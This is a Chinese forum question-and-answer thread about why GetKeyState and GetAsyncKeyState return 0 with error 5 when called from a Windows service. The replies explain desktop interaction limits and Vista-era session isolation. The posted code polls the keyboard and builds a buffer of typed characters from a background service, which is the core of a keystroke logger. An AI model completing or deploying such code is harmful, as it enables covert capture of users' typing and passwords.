读书人

GetKeyState和GetAsyncKeyState 在服务

发布时间: 2012-02-01 16:58:19 作者: rapoo

GetKeyState和GetAsyncKeyState 在服务中调用返回0,getlasterror提示是5,是什么问题?
shift = GetKeyState(VK_SHIFT);
x = SpecialKeys[ i ];
if (GetAsyncKeyState(x) & 0x8000)
{
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91)))
{
bKstate[x] = 1;
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91)))
{
bKstate[x] = 2;
}
else
if (shift < 0)
{
bKstate[x] = 3;
}
else
bKstate[x] = 4;
}
else
{
if (bKstate[x] != 0)
{
state = bKstate[x];
bKstate[x] = 0;
if (x == 8)
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0;
continue;
}
else
if (strlen(KeyBuffer) > 550)
{
length=strlen(KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
continue;
}
else
if (x == 13)
{
if (strlen(KeyBuffer) == 0)
{
continue;
}
length=strlen(KeyBuffer);
memset(KeyBuffer,0,sizeof(KeyBuffer));
continue;
}
else
if ((state%2) == 1)
{
strcat(KeyBuffer,UpperCase[ i ]);
}
else
if ((state%2) == 0)
{
strcat(KeyBuffer,LowerCase[ i ]);
}
}
}

上面的代码在服务中调用的返回0,getlasterror提示是5,是什么问题?
服务我已经设置为与桌面交互了。。。。。

[解决办法]
确保设置交互了后Getasynckeystate应该就可以工作了的!

但在注意在Vista之后,这个允许服务和桌面交互的功能就没有了....
[解决办法]
GetAsyncKeyState
Return Values
If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

Windows NT/2000/XP: The return value is zero for the following cases:

The current desktop is not the active desktop
The foreground thread belongs to another process and the desktop does not allow the hook or the journal record.
看看这个对你有帮助不?

[解决办法]
win7和vista下服务不允许和桌面直接交互

读书人网 >VC/MFC

热点推荐